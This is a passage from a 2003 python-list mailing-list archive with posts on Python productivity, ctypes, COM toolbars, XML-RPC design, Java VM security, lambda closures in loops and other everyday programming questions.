Python will only help those coders who write code, when they write
code.  It will help designers and analysts in as much as writing
code helps them: as I also indicated elsewhere, if you handcuff
yourself into a metodology where no code at all ever gets written,
then it does indeed make no difference whatsoever whether the code
that never eventuates is unwritten in Python, C++, or Intercal.

On GUI development specifically: those parts of your GUI that you
choose to have code-generated for you by some "GUI painter" program
take you just the same amount of time whatever language your GUI
painter code-generates into.  It's only when you want to modify (or
enrich by inheritance, often a better choice) the generated code,
e.g. to make the GUI *DO* anything (whether directly related to
your appication, or indirectly as in a "proof of concept" prototype),
that the language used for the modifications or enrichment matters.
When it DOES matter, Python shines.


> This all sounds like an argument about spontaneous vs. architectural
> coding styles.

Your ears are playing you false.  While Python supports "spontaneous"
(interactive, exploratory) coding PRETTY well (not QUITE as well -- in
terms of available environments as opposed to the language itself --
as languages that typically come with IDE's centered on the "workspace"
concept, such as APL, Smalltalk, Lisp; but definitely better than
e.g. Java, C++, Fortran), this does not imply it has any problem at
all with supporting "architectural" (systematic, goal-directed) coding.

I have noticed similar orders of magnitude in the productivity boost
that Python gives me (compared with, for example, C++ or Java) in
either case.  For example, re-coding in Python -- with fixed design
and functionality -- a project already existing and working in other
languages, in order to use Python for all future developments.  One
would normally "wrap" the existing, working code, rather than
re-code it, but the choice to re-code may be preferable when one
already knows that deep re-factorings and design and architectural
changes will soon be necessary.  Anyway, such a re-coding is one
of the most "architectural, systematic" tasks one can imagine --
I've done it a reasonable amount of times, e.g. both ways between
C++ and Java -- and Python offers higher productivity for the task
than either C++ or Java, in my experience and observations.


Alex




From DLNXPEGFQVEB at spammotel.com  Fri Jan 17 20:21:15 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Sat, 18 Jan 2003 03:21:15 +0200
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]  Minimal Python project)
References: <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <7xk7h9hddg.fsf@ruckus.brouhaha.com> <7xr8bhu0es.fsf@ruckus.brouhaha.com> <3E224ADD.9D246F6D@alcyone.com> <3d799735.0301161741.39ee8691@posting.google.com>
Message-ID: <ts9h2v81ko80fh1skrvshu9ja0k2tto616@4ax.com>

On 16 Jan 2003 17:41:23 -0800, rumours say that gmfawcett at operamail.com
(Graham Fawcett) might have written:

>Also spelled 'orobouros,' not sure which is correct.

"ouroboros" is the correct one.
"oura", the tail.
"boros", eater, from the verb "boro", I eat.
"o" is the joining letter.

Since transcribing greek using the latin alphabet is awful, the word in
unicode is: u'\u03bf\u03c5\u03c1\u03bf\u03b2\u03cc\u03c1\u03bf\u03c2'

(Actually, the second letter should be u'\u1f50', GREEK SMALL LETTER
UPSILON WITH PSILI, almost like a latin 'u' with a single closing quote
on top of it, but I don't believe you will have any font in your
computer with glyphs for ancient greek, so I send the word as it is in
contemporary greek).

Don't you just love unicode? :)
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From markus_wankus at hotmail.com  Sat Jan 11 18:38:22 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Sat, 11 Jan 2003 18:38:22 -0500
Subject: Python COM and bitmap Resource ID's
Message-ID: <opriuzx8u98cxiwf@news1.on.sympatico.ca>

Hi everyone,

I am playing with Python and COM (win32all).  I have gotten farthan than I 
would have thought myself capable of getting.  My ultimate goal is to use 
my Python COM server to create a custom toolbar, which will lauch pure 
Python scripts inside the app I am customizing.

Well, the app I am working with provides this functionality through the 
following API funtion:

AddToolbar ( Cookie, Title, SmallBitmapResourceID, LargeBitmapResourceID, 
MenuPositionForToolbar, DocumentType )

Where you must specify the resource ID's of the large and small bitmap.  
Normally these are within the .dll calling the AddToolbar function, but I 
don't have a .dll - I have Python!  Is there any way to fool this into 
grabbing a bitmap from somewhere? i.e. - Can you create a resource out of a 
bitmap on the fly with the win32all extensions or something?


Regards,

-- 
Markus Wankus



From theller at python.net  Mon Jan 27 11:31:55 2003
From: theller at python.net (Thomas Heller)
Date: 27 Jan 2003 17:31:55 +0100
Subject: ctypes news
References: <65sepejc.fsf@python.net> <3E31B9FA.8E33EC45@engcorp.com>
Message-ID: <wukqftac.fsf@python.net>

Peter Hansen <peter at engcorp.com> writes:

> Thomas Heller wrote:
> > 
> > There's a *ctypes-users* mailing list now, although I'm currently the
> > only subscriber ;-).  I'm not sure it will be useful, I created it
> > just in case.
> > 
> > The list-info page is at
> >   http://lists.sourceforge.net/lists/listinfo/ctypes-users
> > 
> > Here you can subscribe, unsubscribe, change your options,
> > and view the list archive.
> 
> Not sure if it's just me, but using Netscape 4.77 under Windows
> I cannot submit the subsription form, nor change the radio button
> that selects whether to get digest mails or not.  Perhaps a bug
> in the latest Mailman?  Or bad settings on my end?
> 

Hm, isn't Netscape 4.x distant past now? It's a standard SF list
managed by mailman...

> Using IE 6.0 works just fine.  FYI...
> 

Yes, and also works in Mozilla.

> -Peter

Thanks,

Thomas



From uwe.schmitt at procoders.net  Mon Jan 27 08:18:56 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 27 Jan 2003 13:18:56 GMT
Subject: imaging lib
References: <3E34F736.5EEE2CA@gol.ge>
Message-ID: <b13bk0$11g8bs$1@hades.rz.uni-sb.de>

Giorgi Lekishvili <gleki at gol.ge> wrote:
> Hi!
> As of my knowledge, de facto imaging library is PIL.
> Are there some other more advanced libs? With, say, PDF support?
> TIA,
> Giorgi

http://pythonmagick.procoders.net
is a wrapper of ImageMagick++,

greetings, Uwe.


-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From mwh at python.net  Fri Jan 31 10:26:46 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 31 Jan 2003 15:26:46 GMT
Subject: Extended function syntax
References: <13285ea2.0301301029.695d9f4b@posting.google.com>
Message-ID: <7h3vg05wdbu.fsf@pc150.maths.bris.ac.uk>

joost_jacob at hotmail.com (J.Jacob) writes:

> There is a thread on the python-dev mailing list about extended
> function syntax.  It would look something like::
> 
>   def name(args,...)[expr1, expr2, ...]:
>       ...body...

This roughly translates to

def name(args, ...):
    ...body...
name = expr2(expr1(name))

[snippo]
> How about using the new syntax to more easily code conditions on
> triggers?

If you can code functions you can whack in the filter list to do that,
then it can.

If you can't, then you'd might want to explain what the heck you mean,
because:

> There is a lot of work going on in the academic computer science
> community that uses XMI to store UML models in, including behavioral
> models like statecharts.  Perhaps the extended function syntax could
> help to create a tool that automatically translates XMI to class
> definitions?

contains more words I don't understand more densely packed than I've
seen in some time.

> There are lots more possibilities.  One scenario would be to help code
> "asynchronous signals" more easily.  This could be something like a
> "signal handler" mentioned in the [condition] part.

Again, examples please.

> These are just some ideas.  I have full confidence in Guido thinking
> of better ideas and making the best decisions in language design,
> like he has shown us before.

He does usually manage that.

Cheers,
M.

-- 
  Screaming 14-year-old boys attempting to prove to each other that
  they are more 3133t than j00.
         -- Reason #8 for quitting slashdot today, from
            http://www.cs.washington.edu/homes/klee/misc/slashdot.html



From stuart at bmsi.com  Tue Jan  7 22:51:57 2003
From: stuart at bmsi.com (Stuart D. Gathman)
Date: Wed, 08 Jan 2003 03:51:57 GMT
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <WoFS9.5368$Af2.577313@news20.bellglobal.com>
Message-ID: <xfNS9.8081$t06.210048@news2.east.cox.net>

On Tue, 07 Jan 2003 13:56:18 -0500, Warren Postma wrote:


> These stats confirm what we already knew, which is that there are more
> VB idiots and Cobol old-timers out there than you can possibly count.
> And Java? It's the new cobol.

Why so anti-Java?  There is Java the language and Java the virtual
machine.  Java the language is slightly higher level than C - more
productive than C/C++, but not nearly as productive as Python.  However,
Python runs great on Java the virtual machine.

Why use the virtual machine?  It provides an airtight software sandbox -
as good as hardware sandboxing (e.g. unix users).  The weakness of both
lie in the gatekeeper software, e.g. buggy root daemons in unix or buggy
access checking in Java (like the applet bug that allowed read access to
file: urls - or any other protocol it didn't recognize).  I trust Java
application security a little more because there can be no buffer overflow
exploits, but I still use unix kernel security as a backup by running the
JVM as an appropriately privileged user.  I don't think the restricted
mode in the CPython VM is as watertight.

The JVM also lets the Java/Python code run on AIX, Linux/x86, Linux/PPC,
MacOS, Windows without any porting - and only a little debugging of
machine depencies that leak through.

The Java VM provides great performance for a virtual machine.  The JIT
versions are memory hogs, but I routinely run Java applications in as
little as 256K text + 256K heap in interpreter mode.  The core interpreter
is only 128K, and basic native extensions like networking are only 30K or
so.  Simple non-graphical Java applications require only 256K or less of
heap - similar to CPython.  JPython has a lot of Java code, but it needs
the JIT to perform like CPython - and JITs are already a memory hog,
nobody misses an extra meg or so.

In summary, Java the VM is good for security and binary portability - and
has decent performance with both memory efficient (interpreter) and CPU
efficient (JIT) implementations.  Java the language is good for C level
coding that doesn't have to worry about stomping on memory and has built
in object support.  Both have their place in the world along with the
wonderful high level Python language.  Why do you think Jython is so
popular?

-- 
	      Stuart D. Gathman <stuart at bmsi.com>
Business Management Systems Inc.  Phone: 703 591-0911 Fax: 703 591-6154
"Confutatis maledictis, flamis acribus addictis" - background song for
a Microsoft sponsored "Where do you want to go from here?" commercial.



From just at xs4all.nl  Sat Jan 11 15:56:24 2003
From: just at xs4all.nl (Just)
Date: Sat, 11 Jan 2003 21:56:24 +0100
Subject: Too Self Centered
References: <mailman.1042248104.14938.python-list@python.org> <3e2083fc$1@nntp0.pdx.net>
Message-ID: <just-23C733.21562411012003@news1.news.xs4all.nl>

In article <3e2083fc$1 at nntp0.pdx.net>,
 Scott David Daniels <Scott.Daniels at Acm.Org> wrote:

> > Or
> > self.total = len[x for x in f.readlines() if x != '']
> or self.total = len([None for x in f.readlines() if x != ''])

Still not better than the original, which doesn't build a (potentially 
long) list at all.

Just



From hwlgw at hotmail.com  Sun Jan 26 05:27:34 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 26 Jan 2003 02:27:34 -0800
Subject: Something like asynchronous XML-RPC possible?
References: <mailman.1043454645.26543.python-list@python.org>        <cb035744.0301250336.4f378943@posting.google.com>        <mailman.1043503544.26424.python-list@python.org>        <3e332d16$0$49106$e4fe514c@news.xs4all.nl> <mailman.1043542005.6078.python-list@python.org>
Message-ID: <cb035744.0301260227.6890778c@posting.google.com>

[Irmen de Jong]
>     >> How "realtime" is "sort of realtime"?  Are you on a fast enough,
>     >> lightly loaded enough network?
>  
>     Irmen> Interesting. Not to show off, but for comparison, I just did a
>     Irmen> quick test with Pyro....

[Skip Montanaro]
> 
> I guess we'll have to wait and see what Will's constraints are.  (I have
> Perl clients and a Python server, so XML-RPC is it for me.)
>

I am going to study pyro today, after the family visits are over. 
Sunday huh.  A "hello asynchronous_pyro" example would be nice, you
know the typical usage pattern in a minimum number of lines of code
with comments around?

I learned some things from this thread so I can discuss it at work
tomorrow and settle on the real constraints.  The constraints will be
something like:

1) A caller must be able to continue immediately after issuing an
event: no blocking waiting for a return value

2) Language interoperability.  Preferably using an international
standard.  This is what XML-RPC is good at.  The whole thing will be
based on components written in different languages (Python, C, Java,
...).  For now XML-RPC is even better than SOAP because the SOAP
standard is fluctuating.

3) Speed.  This will always be limited by today's state of the art in
technology, but for example starting a new thread to do a normal
synchronous XML-RPC call will meet strong opposition.

4) Simplicity and elegance of design.  See the desired usage patterns
in one of my earlier posts.  Basically you just want to be able to
turn any class instance object into a "component" that is accessible
via the internet, using only one or two function calls.  The methods
will be assumed to be event handlers that do not return a value, with
the parameters acting as an event.

  I have this usage pattern working for normal synchronous XML-RPC
that *do* have return values.  I also have it with calls from a
freshly created thread, ignoring return values, but that is considered
to be inelegant/inefficient.



From eppstein at ics.uci.edu  Fri Jan  3 22:57:56 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Fri, 03 Jan 2003 19:57:56 -0800
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <mailman.1041641110.13072.python-list@python.org> <3E164F92.58798556@engcorp.com>
Message-ID: <eppstein-D603E0.19575603012003@news.service.uci.edu>

In article <3E164F92.58798556 at engcorp.com>,
 Peter Hansen <peter at engcorp.com> wrote:

> > Doesn't HTML stand for HyperText *Markup* Language?
> >                 *Markup* as in what TeX and its cronies do?
> >                 Language as in a formal /syntax/ - rules for writing in a 
> >                 manner a computer
> >                         can 'understand'?
> > 
> > HTML is obviously a formal language, but would you classify, Tex, for
> > instance, as on a par with it?  Tex is not (I believe) HyperText 
> > based/aware,
> > but it does a similar job when it comes to text presentation...
> 
> Hmm.... as far as I recall, TeX is a pretty general purpose language in 
> many ways.  I'm pretty sure it's a "real" programming language as you
> would define it: allowing the implementation of logic of various kinds.
> Whether that's the case or not, I don't see the two as differing 
> fundamentally,
> other than in scope.
> 
> > I think that it may be worth evaluating whether or not one could implement 
> > an
> > /algorithm/ in pure HTML:
> > 
> >         * An algorithm is a method for solving a particular problem
> 
> You'd better come up with a much narrower definition if you want to 
> exclude things like HTML.  Check dict.org for example.

TeX is Turing-complete (you can use it to write a universal Turing 
machine simulator).  HTML is not, unless you view it as including other 
languages such as ECMAScript.

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From kyle at lakeofburningfire.org  Wed Jan 29 17:54:35 2003
From: kyle at lakeofburningfire.org (Kyle Yancey)
Date: Wed, 29 Jan 2003 22:54:35 GMT
Subject: Update: KOBRA - .NET for Python
References: <4uJZ9.77775$6G4.11854@sccrnsc02>
Message-ID: <8kmg3vobt33v5ivfhdn4r115029gtn5o8t@4ax.com>

It's nice that your not letting this project stagnate.  I'm suprised
at how often you've updated it since I started reading this newsgroup.
I have one request/suggestion.  It would be nice if I could declare
built-in types such as System.Boolean or System.Int32. I keep getting
debugger errors when I try.  Also, the same thing happens when I try
to declare a System.Reflection.Assembly object. Thanks for the
library.




From nav at adams.patriot.net  Fri Jan 24 14:07:12 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 24 Jan 2003 14:07:12 -0500
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <cf333042.0301232326.582ac37@posting.google.com> <23891c90.0301240929.196ae7bf@posting.google.com>
Message-ID: <yyyfzrinz8f.fsf@adams.patriot.net>

paul at boddie.net (Paul Boddie) writes:

>   http://groups.google.com/groups?selm=3250033069468718%40naggum.no

Wow, that was amazing, thanks for pointing it out. I still like XML,
though. :^) 

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From matthias.oberlaender at REMOVE.daimlerchrysler.com  Thu Jan 16 10:35:01 2003
From: matthias.oberlaender at REMOVE.daimlerchrysler.com (Matthias Oberlaender)
Date: 16 Jan 2003 15:35:01 GMT
Subject: copy-on-write for dict objects?
References: <avtss7$ejg$1@news.sns-felb.debis.de> <7h3n0m2p77m.fsf@pc150.maths.bris.ac.uk> 
	<b06ddn$5vk$1@news.sns-felb.debis.de> <7h34r89p3wp.fsf@pc150.maths.bris.ac.uk>
Message-ID: <b06jf5$5vk$2@news.sns-felb.debis.de>

In <7h34r89p3wp.fsf at pc150.maths.bris.ac.uk> Michael Hudson wrote:

<snip>  my stuff deleted 

> 
> You *could* try this (untested):
> 
> class UnSharedDict(dict):
>    __slots__ = ["other"]
> 
> class SharedDict(UnSharedDict, UserDict.DictMixin):
>    __slots__ = ["other"]
>    def __init__(self, other):
>        self.other = other
>    def __getitem__(self, key):
>        return self.other[key]
>    def __setitem__(self, key, value):
>        super(SharedDict, self).__setitem__(key, value)
>        self.__class__ = UnSharedDict
> 
>    def has_key(self, key):
>        return key in self.other
>    def __iter__(self):
>        return iter(self.other)
> 
> But you're probably going to find lot's of places that blissfully
> ignore the __getitem__ method.
> 
Another problem with all these approaches is that they introduce a level of 
indirection. For example, I use to write 'k in d' in my code (which seems to 
be even faster than 'd.has_key(k)'.  If this has to go through a method of my 
own, the speed penalty is significant.

--
 ____  __  _/_/ . 
( / / ( /  / / /  

=====================================================================
Matthias Oberlaender, DaimlerChrysler AG, Research Center Ulm
RIC/AP (Machine Perception)
Wilhelm-Runge-Str. 11,  P.O. Box 2360,  89013 Ulm, Germany
Phone: +49 731 505 2354       Fax: +49 731 505 4105
Email: matthias.oberlaender at REMOVE.daimlerchrysler.com
=====================================================================




From see at below.invalid  Thu Jan  9 21:30:25 2003
From: see at below.invalid (Paul Foley)
Date: 10 Jan 2003 15:30:25 +1300
Subject: Use /usr/bin/env python  ... why?
References: <8b67aef5.0301091244.1c6caec1@posting.google.com>
Message-ID: <m2lm1twxby.fsf@mycroft.actrix.gen.nz>

On 9 Jan 2003 12:44:41 -0800, Tim Cargile wrote:

> There was a previous thread on this that referenced a python.org FAQ
> that I thought was incomplete.  As a casual observer I would
> like to submit the following - in the order of most to least efficient
> and least to most flexible (perhaps):

I think you forgot to s/flexible/buggy/ :-)

Just use

   #!/bin/sh
   """"exec ${PYTHON:-python} -t $0 "$@";" """


-- 
Qui beneficium dedit, taceat; narret qui accepit                 -- Seneca

(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))



From zenguyuno at yahoo.com  Mon Jan 27 19:10:51 2003
From: zenguyuno at yahoo.com (zenguyuno at yahoo.com)
Date: Tue, 28 Jan 2003 00:10:51 GMT
Subject: Please Recommend a C compiler for use with Python.
References: <3E35513E.6D5CE8B5@lvcm.com> <XxiZ9.28233$Vh.26202@news2.central.cox.net>
Message-ID: <3E35CB1C.9104C88A@lvcm.com>

"David M. Cook" wrote:
<snip>
> I found this surfing around earlier today:
> 
> http://www.bloodshed.net/dev/devcpp.html

Anyone know about bloodshed?  Has it got a good rep?

m

-- 
"The ad hominem argument is usually true." - Timin



From grante at visi.com  Sat Jan 18 18:54:13 2003
From: grante at visi.com (Grant Edwards)
Date: 18 Jan 2003 23:54:13 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <b0cdjh$nsnhe$1@ID-71831.news.dfncis.de>
Message-ID: <slrnb2jqiv.91m.grante@localhost.localdomain>

In article <b0cdjh$nsnhe$1 at ID-71831.news.dfncis.de>, James Kew wrote:

>> For whatever historical reasons, operator overloading and
>> function/method overloading are usually considered as two separate
>> language features.  C and python have the former but not the latter.
> 
> *cough* C has neither.

Nonsense.  The operators + - * / do different things depending on the types
of their operands.  That's operator overloading.

-- 
Grant Edwards                   grante             Yow!  I feel... JUGULAR...
                                  at               
                               visi.com            



From peter at engcorp.com  Sat Jan 25 10:06:01 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 10:06:01 -0500
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net>
Message-ID: <3E32A7D9.B5B3D214@engcorp.com>

"Aaron K. Johnson" wrote:
> 
> What you see below are pure and simple the number of unique posters to each
> comp.lang.whatever hierarchy in December 2002.
> 
> comp.lang.java 5347
> comp.lang.c++ 3075
> comp.lang.perl 2136
> comp.lang.javascript 2130
> comp.lang.python 1996
> comp.lang.basic 1758
> comp.lang.c 1670
> comp.lang.labview 958
> comp.lang.clipper 922
...
> comp.lang.modula3 30
> comp.lang.oberon 26
> comp.lang.modula2 23
...

Thanks Aaron.  I'm forced to admit that these numbers *appear* to 
correspond to my purely subjective feeling as to the relative
popularity, in a very vague way, of these languages.   It will
be interesting - if you can finish refining the script and then
"lock it down" - to compare the results over time.

I'm also intrigued by the labview and clipper numbers, which are
as I understand the only two purely proprietary languages listed.
National Instruments deserves some credit here, even if it's just
because LabVIEW is such an abomination to use for complex software
that it requires much more online help than the others, relative 
to its actual usage. ;-)

-Peter



From martin at v.loewis.de  Fri Jan 24 05:16:48 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 24 Jan 2003 11:16:48 +0100
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de>
Message-ID: <m3vg0eg8dr.fsf@mira.informatik.hu-berlin.de>

Uwe Schmitt <uwe.schmitt at procoders.net> writes:

> AFAIK there is no method in the threading module to kill a thread.

Correct.

> Will this work ??

No. The Thread object is just a wrapper around the underlying system
resource. Deleting the Thread object won't kill the thread, since
thread cancellation is not supported.

> And another question: how fast is the garbage collector ?

Answer: very fast :-)

Regards,
Martin



From henk at empanda.net  Sun Jan  5 07:36:39 2003
From: henk at empanda.net (Henk Punt)
Date: 5 Jan 2003 04:36:39 -0800
Subject: lambda semantics in for loop
Message-ID: <280e901b.0301050436.b4e501d@posting.google.com>

Hi,

When I have the following bit of python code:

>>> l = []
>>> for i in range(10):
...     l.append(lambda x: x + i)

I would expect:

l[0](0) = 0
l[1](0) = 1

l[0](1) = 1
l[1](1) = 2

etc.

instead

l[0](0) = 9
l[1](0) = 9

l[0](1) = 10
l[1](1) = 10

It seems that the 'i' in the lambda binds to the last value of i in the
for loop.
Is this because 'i' is really a pointer and not the value of 'i' itself?.
Please enlighten me!,

How do I modify the example so that I would get my expected semantics.
Should I copy 'i' to force the creation of a new object?, If so how would
this work in the case where i is a string. I've tried to coerce python
into making a deepcopy of a string so that id(s) != id(copy(s)) but I've
not been able to do that also.

Thanx already,

Henk Punt.



From jepler at unpythonic.net  Tue Jan 21 17:46:34 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Tue, 21 Jan 2003 16:46:34 -0600
Subject: max() of a list of tuples
In-Reply-To: <v2rhu656k22i56@corp.supernews.com>
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <mailman.1043167418.17738.python-list@python.org> <v2rhu656k22i56@corp.supernews.com>
Message-ID: <20030121164634.B1250@unpythonic.net>

On Tue, Jan 21, 2003 at 10:20:54PM -0000, Lee Harr wrote:
> >   Here's another way:
[using sort with a comparison function]
> 
> Yup, that is the way I would go also.
> 
> Very simple & straightforward.
> 
> (tho I might not have used a lambda ;-)

However, you can find the maximum of a list in O(n) comparisons, but you
can only sort a list in O(n log n) comparisons.  I'd endorse a variant of
DSU (decorate, sort, unsort) which would be decorate, max, undecorate.
I think you were calling the largest tuple the one whose final element was
greatest, in which case the following code seems likely:
    def decorate(t): return (t[-1], t)
    def undecorate(t): return t[1]

    def decorated_max(l):
	l = [decorate(t) for t in l]
	return undecorate(max(l))

Jeff




From BPettersen at NAREX.com  Mon Jan  6 12:41:33 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 10:41:33 -0700
Subject: Why is xml.dom.minidom so slow?
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE93@admin56.narex.com>

> From: Paul Boddie [mailto:paul at boddie.net] 
> 
> martin at v.loewis.de (Martin v. L?wis wrote in message 
> news:<m3n0mimxe7.fsf at mira.informatik.hu-berlin.de>...
> > "Fredrik Lundh" <fredrik at pythonware.com> writes:
> > 
> > > moving the tree building from Python to C++ can easily 
> > > buy you 10x, no matter what parser you're using.
> > 
> > Indeed; this is what makes 4Suite's cDomlette so fast.
> 
> And cDomlette produces document representations that can be 
> manipulated using standards-compliant APIs, too, for those of 
> us that care about that kind of thing. Hats off to Fourthought! :-)

Quick question... I've got benchmark results for most of the options, but I haven't been able to track down cDomlette yet (google didn't turn up any obvious links). Does anyone know where I can download it (and the documentation :-) I'll post my benchmarks in a couple of days...

-- bjorn




From someone at invalid.com  Wed Jan 29 17:44:19 2003
From: someone at invalid.com (Sean Richards)
Date: Wed, 29 Jan 2003 22:44:19 GMT
Subject: Hacking Heaven - Leo+XEmacs Integrated
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz> <3E378D06.3010406@tin.it> <pan.2003.01.29.13.24.21.953942@al-queda.org>
Message-ID: <slrnb3gmk4.f5.someone@hugin.valhalla.net>

On Thu, 30 Jan 2003 02:24:22 +1300, Aum wrote:
 
> With the XEmacs integration, I took advantage of the
> 'gnuserver'/'gnuclient' utilities. You can run the shell command
> 'gnuclient file1 file2 ...', and it's just like typing
> 'xemacs file1 file2...' except that the files get opened in an *existing*
> instance of xemacs (provided that such instance has executed the
> '(gnuserver)' function (usually done at xemacs startup).
> 
> I don't know if such utilities exist for vim. You'll need to investigate
> whether there are any options to allow you to, from a shell, open new
> files in existing vim instances.

You can use the 'clientserver' commands. Start vim or gvim with 
'vim --servername {name of choice here}'. Then you can open files in
this instance of vim with 
'vim --remote {file}'


Sean

-- 
+---------------------------------------------------------------+
| All spelling errors are intentional and are there to show new |
| and improved ways of spelling old words.                      |
+---------------------------------------------------------------+



From tim.one at comcast.net  Sat Jan  4 22:01:57 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sat, 04 Jan 2003 22:01:57 -0500
Subject: threading module
In-Reply-To: <3E179E26.804C267A@dfsdfssdfa.invalid>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEBODGAB.tim.one@comcast.net>

[Jive Dadson]
> Can anyone tell me who wrote the threading module?  There are some
> aspects of it that I would like to discuss.

Guido did, but he won't have time to discuss it in email unless it's a
killer-interesting discussion <0.9 wink>.  Try discussing it here first?  If
you're looking for history, the design was hashed out on the now-defunct
Thread-SIG.





From eltronic at juno.com  Thu Jan  2 18:34:09 2003
From: eltronic at juno.com (eltronic at juno.com)
Date: Thu, 2 Jan 2003 18:34:09 EST
Subject: new years resolutions
Message-ID: <20030102.183752.-3327557.0.eltronic@juno.com>

in no particular order,

1) remember to add download sizes to all download links
2) add    root.protocol('WM_DELETE_WINDOW', root.quit) 
   before root.mainloop()
   for win95 Tkinter users who sometimes hang python anyway...
3) notify sub decade old webpages for missing ftp download links
4) more work on Tk2Qt.py wx2Qt.py and gtk2Qt.py in the hope 
   that Qt version 3 will finally be released for windows users.
5) reroute more spam to the servers that participate.
6) fill out more detailed bug reports and actually send them.


things I might have learned last year.

HTML is a programming language, why else would I have to debug it?

________________________________________________________________
Sign Up for Juno Platinum Internet Access Today
Only $9.95 per month!
Visit www.juno.com




From hgg9140 at seanet.com  Sun Jan  5 20:37:36 2003
From: hgg9140 at seanet.com (Harry George)
Date: 05 Jan 2003 17:37:36 -0800
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <slrnb1g1qr.sgg.karsten@datasink.webmonster.de> <3E1848DA.DE85B247@engcorp.com> <mailman.1041781509.19623.python-list@python.org>
Message-ID: <m3of6v6otb.fsf@wilma.local>

Laura Creighton <lac at strakt.com> writes:

> > "Karsten W. Rohrbach" wrote:
> > > 
> > > Python is an interpreted, object-oriented, weak-typed, [...] programming
> > 
> > As Paul said, you misspelled "strong", but also forgot "and dynamically typed
> > ".
> > 
> > (See frequent and by now almost tedious past discussions in this group
> > as to why Python is most definitely not a "weakly typed" language.)
> > 
> > -Peter
> > -- 
> > http://mail.python.org/mailman/listinfo/python-list
> 
> If people around here would remember that the reason we have such
> discussions all too often is not that some people are _wrong_,
> and believe that Python is what you call a _weakly typed language_,
> but rather in their linguistic community 'strongly typed' ==
> 'statically typed' and 'weakly typed' == 'dynamically typed' things
> would be a lot more pleasant.  The confusion is inevitable, because
> there are one heck of a lot of computer science text books out there
> which teach precisely this.  

I'm not aware of these texts.  The technical (as in graduate computer
science) language and language design texts I've seen understand and
describe strong/weak, static/dynamic quite well.  It is the popular
press which mixes them up.  But I do agree it is worth pointing to a
FAQ whenever the issue arises.

> And, no, it doesn't mean that people
> like Karsten W. Rohrbach don't understand the difference between
> what Python does, and what Perl does -- but when they want to
> discuss this difference, they speak of whether the language does
> or does not support 'automatic promotion of types' -- which is
> completely independent of whether you have to declare them or not,
> and whether you can rebind them on the fly.
> 

My impression is that it is the silent rebinding which throws people
off, and gives the impression of weak typing.  Typos give this
effect.  In Prolog that is a std bug generator, and I've seen in in my
python code as well.

> Laura Creighton



From bdesth at removethis.free.fr  Tue Jan 28 22:14:12 2003
From: bdesth at removethis.free.fr (laotseu)
Date: Tue, 28 Jan 2003 22:14:12 -0500
Subject: BDE mit Python?
References: <3E34F503.2000906@web.de> <3E356338.9030605@removethis.free.fr> <pan.2003.01.27.19.32.31.636081@dot.com>
Message-ID: <3E374704.4070906@removethis.free.fr>

Rhymes wrote:
> On Mon, 27 Jan 2003 11:50:00 -0500, laotseu wrote:
> 
> 
>><attempt to translate, pardon my french!->
> 
> 
> French?
> 

French !




From bodoni26 at resnet.gatech.edu  Wed Jan 15 18:21:40 2003
From: bodoni26 at resnet.gatech.edu (Steven Scott)
Date: Wed, 15 Jan 2003 18:21:40 -0500
Subject: FW: Switch statements again
In-Reply-To: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com>
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com>
Message-ID: <1042672900.3e25ed04a5f1a@www.progoth.com>

Quoting Steven Scott <Steven.Scott at Synchrologic.com>:
> 
> If/elif/else remains the most common method.  If Python ever gains
> something
> like a switch statement you can bet the farm it won't have a "fall thru"
